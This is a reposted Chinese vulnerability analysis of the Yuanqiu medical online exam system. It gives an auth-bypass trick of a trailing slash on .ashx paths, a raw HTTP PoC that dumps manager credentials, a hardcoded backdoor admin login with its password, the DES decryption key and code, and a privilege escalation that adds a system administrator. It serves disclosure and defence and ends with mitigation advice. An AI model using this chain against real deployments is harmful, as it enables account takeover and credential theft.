远秋医学在线考试系统任意用户登录和越权漏洞分析

admin 2023年12月19日19:11:52评论141 views字数 4331阅读14分26秒阅读模式

免责声明:任何未经授权的黑客行为都是违法的。该文章仅用于网络安全教学,以便我们可以保护自己免受真正的黑客攻击。请遵守相关法律法规,严禁用于非法途径。

漏洞影响版本 <= V 3.26.9

鉴权绕过

存在绕过的路径YQExam.Web.Filter.AuthorValid.AuthorValid

假如路径以".aspx",".ascx",".ashx"结尾会进入权限判断,但"/Default.aspx","Register.aspx"等除外

if (absolutePath.EndsWith(".aspx"StringComparison.CurrentCultureIgnoreCase|| absolutePath.EndsWith(".ascx"StringComparison.CurrentCultureIgnoreCase|| absolutePath.EndsWith(".ashx"StringComparison.CurrentCultureIgnoreCase))
{
   if (absolutePath.EndsWith("/Default.aspx"StringComparison.CurrentCultureIgnoreCase|| absolutePath.EndsWith("/Register.aspx"StringComparison.CurrentCultureIgnoreCase|| absolutePath.EndsWith("/MediaFile.aspx"StringComparison.CurrentCultureIgnoreCase|| absolutePath.EndsWith("/Login.aspx"StringComparison.CurrentCultureIgnoreCase))
  {
       return;
  }

远秋医学在线考试系统任意用户登录和越权漏洞分析

这里可以结尾使用"/"可以绕过

远秋医学在线考试系统任意用户登录和越权漏洞分析

远秋医学在线考试系统任意用户登录和越权漏洞分析

权限绕过读取密码

密码读取路径: YQExam.Web.Manager.Ajax.User

这里通过oper参数值来确定操作类型,这里主要是getManagerListgetUserList来获取用户信息

远秋医学在线考试系统任意用户登录和越权漏洞分析

这段代码判断当前登录状态,假如不是系统管理员登录状态,则只能获取普通管理员的信息

if (!ManagerBll.IsAdmin(PageClass.getCurrAdminId("")))

{
   text2 += " AND Admininfo.intAdminType=0";

}

构造poc

POST /Manage/Ajax/User.ashx/ HTTP/1.1
Host: 127.0.0.1:8002
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 54

oper=getManagerList&name=&code=&depart=&page=1&rows=15

远秋医学在线考试系统任意用户登录和越权漏洞分析

密码解密

登录时会判断用户类型

远秋医学在线考试系统任意用户登录和越权漏洞分析

我这代码是3.25版本,在该版本之前代码中有个内置账号YuanqiuExam/1398311407513708315661会直接以系统管理员权限登录

远秋医学在线考试系统任意用户登录和越权漏洞分析

登录主要代码,发现密码为DES加密

dataTable = SqliteHelper.Query("SELECT * FROM AdminInfo WHERE rn                       IFNULL(lngDeleteOperatorId,0) = 0 AND LOWER(strOperatorName)=LOWER(@strOperatorName) AND strPassword=@strPassword LIMIT 0,1"new SQLiteParameter[]
{
                   new SQLiteParameter("@strOperatorName"strAdminName),
                   new SQLiteParameter("@strPassword"DES.EncryptPassword(strPassword))
                  });

跟进DES加密文件发现已经写好了加密和解密的函数

远秋医学在线考试系统任意用户登录和越权漏洞分析

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace YQExam.Common.Crypt
{

public sealed class DES
{

static void Main(string[] args)

      {

           // Console.WriteLine(DES.EncryptPassword("kw666666"));
           Console.WriteLine("输入密文:");
           string text = Console.ReadLine();
           Console.WriteLine(DES.Decrypt1(text"df6dsf5s"69));
      }
private static string Decrypt1(string strDatastring strKeyint mintSubKey)
{
while (strKey.Length < 8)
{
strKey += "";
}
string result;
try
{
DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider();
byte[] bytes = Encoding.Default.GetBytes(strKey);
byte[] array = new byte[strData.Length / 2];
for (int i = 0i < strData.Length / 2i++)
{
int num = Convert.ToInt32(strData.Substring(i * 22), 16);
array[i= (byte)(num ^ mintSubKey);
}
MemoryStream memoryStream = new MemoryStream();
CryptoStream cryptoStream = new CryptoStream(memoryStreamdescryptoServiceProvider.CreateDecryptor(bytesbytes), CryptoStreamMode.Write);
cryptoStream.Write(array0array.Length);
cryptoStream.FlushFinalBlock();
cryptoStream.Close();
result = Encoding.Default.GetString(memoryStream.ToArray());
}
catch
{
result = "";
}
return result;
}
private const int intSubKey = 63;
}
}

远秋医学在线考试系统任意用户登录和越权漏洞分析

远秋医学在线考试系统的这个漏洞,使得非管理员用户可以通过权限绕过登录管理员账号。然而,这种登录状态会被系统校验,因此只能获取普通管理员信息,并最终只能登录普通管理员后台,没有考务人员档案和系统管理权限,继续代码审计撞运气,发现一个疑似可编辑管理员权限的点。

纵向越权

通过代码发现intAdminType的值0,当前用户普通管理员是没有考务人员档案和系统管理权限。

远秋医学在线考试系统任意用户登录和越权漏洞分析

远秋医学在线考试系统任意用户登录和越权漏洞分析

YQExam.Web.Manager.Ajax.User中存在编辑管理员的功能,且intAdminType可控,当intAdminType值为1则当前用户为系统管理员,0为普通管理员。

远秋医学在线考试系统任意用户登录和越权漏洞分析

远秋医学在线考试系统任意用户登录和越权漏洞分析

这段代码会判断当前登录用户的lngCreateOperatorIdtxtManagerId值,如果传入的txtManagerId空则添加一个用户,否则将修改lngOperatorID值所对应的用户信息

远秋医学在线考试系统任意用户登录和越权漏洞分析

跟进ManagerBll.Add方法发现会对传入的值进行的校验,如果lngCreateOperatorId值为0或未登录则会添加用户失败

远秋医学在线考试系统任意用户登录和越权漏洞分析

远秋医学在线考试系统任意用户登录和越权漏洞分析

这里使用之前读取密码的漏洞随便登录一个普通管理员,使用普通管理员登陆后的cookie即可纵向越权添加管理员账号

远秋医学在线考试系统任意用户登录和越权漏洞分析

要防止任意用户登录并越权添加系统管理员,可以采取以下措施:

  1. 强化密码策略:要求用户设置复杂且难以猜测的密码,并定期更换密码。同时,启用密码策略,限制密码的长度、复杂度等,以增加破解密码的难度。

  2. 限制用户权限:根据用户的实际需求,为其分配适当的权限。避免赋予普通用户管理员权限,以减少潜在的安全风险。

  3. 访问控制:实施严格的访问控制策略,限制用户对系统管理员账户的访问。例如,使用防火墙、入侵检测系统等工具,监控和阻止未经授权的访问尝试。

  4. 监控和审计:定期对系统进行监控和审计,及时发现异常登录和操作。记录用户的登录历史和操作记录,以便在发生安全事件时进行追溯和分析。

  5. 强化身份验证:使用多因素身份验证,如动态令牌、短信验证等,提高登录的安全性。同时,定期对用户身份进行验证,确保用户身份的真实性。

  6. 定期更新和修补系统:及时更新系统和应用程序,以修复已知的安全漏洞。定期修补系统漏洞,防止黑客利用漏洞进行攻击。

  7. 实施安全培训:对员工进行安全培训,提高他们的安全意识。让他们了解如何识别和应对潜在的安全威胁,以及如何报告可疑活动。



原文始发于微信公众号(雾都的猫):远秋医学在线考试系统任意用户登录和越权漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月19日19:11:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   远秋医学在线考试系统任意用户登录和越权漏洞分析https://cn-sec.com/archives/2317707.html

发表评论

匿名网友 填写信息